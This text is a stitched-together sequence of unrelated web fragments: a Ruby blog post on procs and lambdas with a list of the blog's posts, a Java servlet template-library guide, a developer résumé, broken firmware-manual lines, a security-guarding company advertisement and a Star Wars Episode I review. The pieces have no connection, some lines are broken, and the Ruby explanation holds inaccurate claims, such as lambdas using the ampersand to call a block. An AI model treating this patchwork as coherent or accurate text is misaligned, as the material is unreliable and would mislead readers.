Lambdas are very similar to procs. Lambda syntax is different from procs though. Previously we saw that a new proc would need "variable_name = Proc.new {code block}". Lambdas replace "Proc.new" with "lambda". Lambdas also use the ampersand to call the "stored" block. The below is an example of lambda syntax.
There are two main differences between procs and lambdas. The first differences is that lambda checks the number of arguments passed to it, whereas procs took whatever was passed to it. However procs would output "nil" for the extra arguments. Lambdas will throw errors if unexpected arguments were passed to it. Second, when a lambda returns it passes control back to the calling method but a proc immediately returns WITHOUT going back to the calling method. Need a visual explanation? Check out the example below.
The proc example immediately returns "Celica will win!" without going back to celica_gtr_proc method. On the other hand, the lambda example goes back to the celica_gtr_lambda method and outputs "GTR will win!".
Posts
-
The Post DBC Experience
Mixed Emotions
DBC was an awesome, maybe one of a kind experience. I pushed through all 4 phases with the mantids, or the improper plural...
-
How to Ask for Help
How to Ask Good Questions
Experienced Questioning
I don't always ask questions online but when I do I try to be as specific as possible...
-
Ruby on Rails
Rails
Ruby and Rails are not the same thing. Ruby is the programming language. Rails is a Rubygem or package library which is installed via...
-
Resolving Conflicts
A Conflict I Experienced
Honestly, I cannot remember a conflict I've experienced off the top of my head that would be exciting to read or...
- My Thinking Ways How do I Think? I am a concrete sequential thinker which according to cgribben.com mean that I am persistent and product oriented. I am practical...
-
SQL Injection
What is SQL?
SQL is short for Structured Query Language. It is a programming language for querying (fancy word for accessing) and managing databases. SQL...
-
Affirmation and Stereotype Threat
My Values
Accomplishment, accountability, compassion, creativity, efficiency, family, friendships, and integrity area few values which come to mind when I recall the times in my...
-
Blocs, Procs, and Lambdas
Ruby Blocks, Procs, Lambdas
Blocks
A ruby block is the piece of code that is executed. This code can be executed using curly brackets {}...
-
Stereotype Threat
What is Stereotype Threat?
To put it simply, stereotype threat is the experience of not living or carrying out your full potential because of stereotypes....
-
A Pair of Minds
Pairing and Feedback
Pairing
Pairing isn't so bad. The peers are all nice and I haven't met someone who was disrespectful during the sessions. Despite...
-
A Little Ruby
A Snippet into Ruby Classes
When and Why Should I use classes?
One question which kept simmering in my head while working on this week's...
-
Ruby Cycle and Looping
Ruby:Enumberable#Cycle
The #cycle method uses a block for each element of an enumerable object (ranges, hash, or array) repeatedly for n times or endlessly if...
-
Today's Software Apps vs Law
Who Doesn’t Like App Efficiency?
Innovative technologies usually clash with old ways and methods. There are numerous apps out there which are constantly clashing with...
-
What is JS?
What is JavaScript and Why Should You Care?
Javascript(JS) is an object oriented computer programming language often found as a part of web browsers which...
-
CSS Positioning
Positioning in CSS
Elements on a website can be positioned behind, in front of, or next to by using CSS positioning properties: top, left, right,...
-
My Favorite Websites
My 3 Most Visited Websites
Newcelica.org
This is one of my favorite sites because I own a Celica. I do all...
-
Kitchen Vs Table
Kitchen Vs Table
DBC sounds like a buttkicker, a mental, emotional, and physical obstacle course. Honestly, it sounds like it would and should be overwhelming...


this page supports elpusk coffee JavaScript library.
input session name :
target session name :
Select the your source file :
input destination file path :
Select the your firmware file :
the registered usb device in coffee manager.


This library might be useful for Java servlet programmers. It is very simple.
But it really works.
It is totally based on recursion. It supports if-then-else, for, iterator,
variable, string constant. The limitation of this template library is that
the maximum template file size is 32Kb. There is one way we can solve this
problem. As MyTemplate class does not close the OutputStream we
can load multiple template files.
Download the whole package.
Tag Syntax
Tag syntax for putting custom/variable Key value pair (properties/hash
table) in the template files:
The customized templates should have key embedded in the form of ${mykey} anywhere within the file.
The API loadFile(Writer out, Hashtable hash) will replace the
${mykey}
with corresponding myvalue from the hashtable.
For example, if myvalue is “Hello World”
|
<title></title>
${mykey}
   |
|
<title></title>
Hello World
   |
The actual replacement is done using toString() function. What that means is that, in case of any other object in myvalue, it gets the string representation.
For example, if myvalue = new Integer(122);
|
<title></title>
You are visitor number ${mykey}
   |
|
<title></title>
You are visitor number 122
   |
If the hash table does not contain relevant mykey, the ${mykey} in the template will be ignored. We can also access null value using ${NULL}.
Example:
|
<title> </title>
Welcome to ${comp_name}
   |
If comp_name does not have a corresponding value in the hash
table, the output would be
|
<title> </title>
Welcome to
   |
The Block Construct
In the following sections, we define Block as a chunk of HTML code/javascript/css
along with any of the constructs defined in this doc.
The var Construct
Any object is defined to be a var.
.size
The suffix .size has a special meaning. It returns the size of the
container.
.last
The last element of the vector. In case of any other object it returns
the object itself.
[n]
One can get the value at a particular index, n using $(var[n]). If
n is not an integer ${var[n]} = null.
In case of multi-dimensional array we have to use ${var[i,j,k]}.
If the object var-hash under consideration is not a vector, then the
following rules:
${Var.size} = new Integer(1)
${Var[n]} = var-hash if n == 0
= null if n not equals 0
In case of vector var-hash,
${Var.size} = new Integer(var-templ.size())
${Var[n]} = var-temp.elementAt(n) if 0 <=
n < var-templ.size
= null otherwise
In case the ${var} is not found in the hash table,
${Var.size} = new Integer(0)
${Var[n]} = null
The if-then-else Construct
The template may contain if-then-else logic. The corresponding grammar is as follows:
${IF}[whitespace]*{condition}[whitespace]*{block}[{block}]
whitespace – any combination of “ “, “\t”, “\r”, “\n”, “\f”
condition - var|String ==|!=|IN var|String
var - ${String}
The last optional section in the grammar represents the optional else
part
Null value can be represented using ${NULL}.
Example:
|
<title></title>  ${IF}{${user_name} == Administrator} { Customization Page}{ Welcome ${user_name} }   |
If user_name == Administrator
|
<title></title>  Customization Page   |
If user_name == XYZ
|
<title></title>  Welcome XYZ   |
For Construct
${FOR}[whitespace]*{initblock}[whitespace]*{block}
initblock - String IN var
Suppose the HTML template writer needs to write a template which would
be used by a servlet to display the number of distinct shirt sizes available
and display the size names in the form of a list. The template would be
of the following form:
|
<title></title>  <form method=POST action=/servlet/xyz> Total number of sizes = ${fittings_size.size} <select>
</form>
|
If the distinct shirt-sizes are “M”, “L”, “XL”, “XXL” the servlet writer would write code similar to the following form:
Hashtable hash = new Hashtable();
Vector vect = new Vector();
vect.add("M");
vect.add("L");
vect.add("XL");
vect.add("XXL");
hash.put("fittings_size", vect);
and the html output would be as follows:
|
<title></title>  <form method=POST action=/servlet/xyz> Total number of sizes = 4 <select> <option value=M>M</option>
</form>
|
Iterator Construct
Very often there is a requirement to show up indexed value from multiple
vectors in a tabular representation.
For example, consider the following :
Item_list = { "shirt", "flowers", "cups",
"pencil"}
Quantity = { 1, 2, 12, 3}
Units = {Number, Bouquet, Dozen, Box}
And the table should be something like
| shirt | 1 | Number |
| flowers | 2 | Bouquet |
| cups | 12 | Dozen |
| pencil | 3 | Box |
In order to achieve this, we would require an iterator type construct, which allows us to iterate items from a vector.
The grammar is as follows:
${ITR}[whitespace]*{initblock}[whitespace]*{block}
initblock - String[whitespace]+ var|string TO var|string
In the initblock, the first var|string is the start index and the second var|string is the iteration count.
Example 1:
The template for the example detailed above would be as follows:
|

 ${ITR}{INDEX 0 TO ${Item_list.size}}{
 ${Item_list[${INDEX}]}	 ${Quantity[${INDEX}]}	 ${Unit[${INDEX}]}
}
  |
The resultant output is:
|

 shirts	 1	 Number

 flowers	 2	 Bouquet

 cups	 12	 Dozen

 pencils	 3	 Box

  |
Example 2:
Let us consider an even more complicated scenario:
Suppose we are required to display the attribute and corresponding list
of values of an item.
So the variable issues in this example are:
| <form>
${ITR}{IND1 0 TO ${prop_list.size}}{ ${prop_list[${IND1}]} <select> ${FOR}{IND2 IN ${value[${IND2}] }}{ <option value=${IND2}>${IND2}</option> </select>
} } </form> |
Suppose the servlet retrieves the following for a specific item :
prop_list={"Size", "Color"}
value={{"XL", "L", "M"},
{"Red",
"Blue", "Green"}}
Then the generated html code would be :
| <form>
Size <select> <option value=XL>XL</option> <option value=L>L</option> <option value=M>M</option> </select>
 Color
|
Dynamic Variable Generation
Variables can be formed dynamically.
For example
var1 = var2
var2 = "Hello World"
So in template ${${var1}} will be evaluated as Hello World.
Please send comments to rana_b@yahoo.com


Experience
Sapient
Associate Technology L1
2015-present
Projects:
Time Tracking
Time tracking mobile application is used for giving employees facility of providing the total number of hours they have worked on a weekly basis. Including they can see the submitted time cards and edit the time card if it is not approved along with feature for approvers to approve the time cards.
Role - Developer
- Developed and maintained in-house mobile applications that are written in JavaScript, AngularJS, IBM MobileFirst
- Responsibilities involved developing the design model and created the client side coding
- Used IBM MobileFirst features like direct Update in Windows
- Working closely with the back end team to understand the Web Services already tied up to the Web Version.
- The layers of the application are developed in multiple work streams for higher productivity.
- The layers of the application are developed in multiple work streams for higher productivity.
Magna InfoTech
Associate Software Engineer
2014-2015
Client -
Sapient
Projects:
Transport Management System
Transport management system is an in-house application that manages transport facilities for the Organization’s Employee personnel. The Application can be used when successfully authenticated into the application. Users can submit request and edit/delete it .They can even see the route details along with co-passengers traveling once the request is approved.
Role - Developer
- Developed and maintained in-house mobile applications that are written in Javascript, JQuery, JQuery Mobile and IBM Worklight.
- API used–Google Navigation.
- Responsibilities involved are analyzing requirements and redesignapplication for enhanced user experience.
- Understanding the tool (IBM Worklight) and its features.
- Working closely with the back end team to understand the Web Services already tied up to the Web Version.


[1]
flip video support .
[2]
the firmware version as well as the software version will be listed on the lcd screen and the screen .


;
Today's threats to companies are increasingly complex and intense at a time when business operations are becoming more interrelated and global. Investment in security can help significantly reduce a company's vulnerability to many factors that threaten performance Security Guarding Services.
It is a fact of business life that every company's major assets are constantly under threat. Manned securities probably the only true effective forms of reducing vandalism, theft and criminal damage to property and threats to staff. This is why at Fireball Securitas we aim to provide an effective Guarding Solution to eliminate these well-known threats. We pride ourselves as being a rapidly growing organisation in the provision of manned security, offering a comprehensive spectrum of security services from a one man-guarding contract to a multi-manned security team.
We take pride in providing the highest level of service to our clients and attending to their individual requirements by understanding the customer’s need, anticipating requirements, checking comfort levels and using feedback constructively to help deliver expected service levels, this approach to Fireball satisfied and growing customer base. As the leading professional organization, Fireball offers a wide range of specialized and customized services to its customers, covering
Security guards are basically required for the security of a particular place and people.
Static guard is designated a specific area where the duty is to guard that specific area during the duty hours. Static guards are usually assigned at entrances and exits.
Patrol guard is mobile. A patrol guard covers a bigger area as designed. He would have to move around keeping the whole area in his watch.
The prior responsibility for a PSO is to protect the principal against any possible threats. A PSO is required to do his duty within the confines of the given tasks and is required to operate alone or as part of a team both in armed and unarmed roles.
We provides Event security solutions as per the client’s specific needs during corporate events, entertainment programs, product launches, concerts, sports events and more.
Marshals are responsible for leading and organizing security for the completion of a particular purpose. ATM Security- At the ATM there is only a security Guard who is never a gunman. Gunmen accompany the van carrying cash (while loading cash into the ATM).


`Star Wars: Episode I' – The Force Is Still with Us
The hype has finally begun to diminish and after months of waiting (and years for others), the highly anticipated `Phantom Menace' has finally come to a theatre not too far, far away. Even I was swept with anticipation, for I am of the Star Wars generation. I bought my ticket a week in advance, and I was ready to once again be a part of the Star Wars phenomenon. The crowd showed an equal level of heightened enthusiasm. When I arrived at my local Loews theatre 30 minutes in advance, many of the seats were already taken. I was lucky enough to find a good spot, and when the lights dimmed, a hushed silence swept across the rows of patrons who had come, like me, to relive our childhood and who had hoped that the film would live up to its hype.
In many ways, the film does live up to its hype. Like the original Star Wars that changed the landscape of movie making, this film shows off many new advances in sound and imaging technology. Visually, the movie is absolutely gorgeous – eye candy galore! Clearly there is much imagination at work that can be seen in every shot. Colors are breathtakingly beautiful, settings are wonderfully detailed, and scenes are beautifully envisioned. For example, there is a bustling metropolis filled with towering skyscrapers and an underwater city whose landscape resembles a collection of light bulbs on a crystal chandelier. I was impressed with a battle scene pitting thousands of evil battle droids against a small army of humanoids that looked like a cross between a dragon and a duck and was captivated by a race sequence that can only be described as a futuristic combination of Ben Hur and Speed Racer. The sound was equally impressive, especially a scene involving a Senate debate. To truly appreciate the spectacle of this film, you'll need to see this film on a big screen with an advanced sound system. But is there as much force with the story and characters as there is with the visual and sound effects?
The answer, unfortunately, is no. The beauty of the original Star Wars is that it involved uncharted frontiers and growing up in the face of adversity. That's not really the case here as it is a story about an epic battle that may shift the balance of power. In Episode I, the evil empire is determined to assert its power and dominance. They use a group called the Trade Federation to further their goals and take over planet Nabooie, which has immense importance in terms of regional commerce. But to secure their victory, they must force the noble and strong queen (the Geisha-adorned Natalie Portman) to sign a treaty. She escapes with the help of Jedi Knights (Liam Neeson) and Obi-Wan Kenobi (Ewan McGregor). In their quest to regain control of her home world, they also meet up with the future Darth Vader, Annekin Skywalker (played by Jake Lloyd). Annakin is able, inventive, and becomes a great asset to their cause. To stop the good guys, the empire dispatches an evil warrior who has tremendous agility and fighting skills. He does battle with the Jedi knights with a very unique light saber staff.
Though impressive, this film couldn't manage to evoke that same feeling of awe that I had hoped. I'm sure that the amount of hype that preceded the movie biased me as I watched the film. Also, the characters were not as well-defined nor as memorable as Luke Skywalker or Han Solo. I also think that when I saw the original Star Wars, I was only 11, and at that time in my life, I was completely mesmerized by what I had seen on screen. As I've matured, my tastes have taken my senses in a different direction that favors stories about the darkness of humanity (like `The Matrix') over films brimming with cuddly extra-terrestrials and star ships. You won't come out of the film feeling that you've experienced an event. But, this is a film that is stunning in many ways and always manages to be enjoyable.
Grade: B+
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews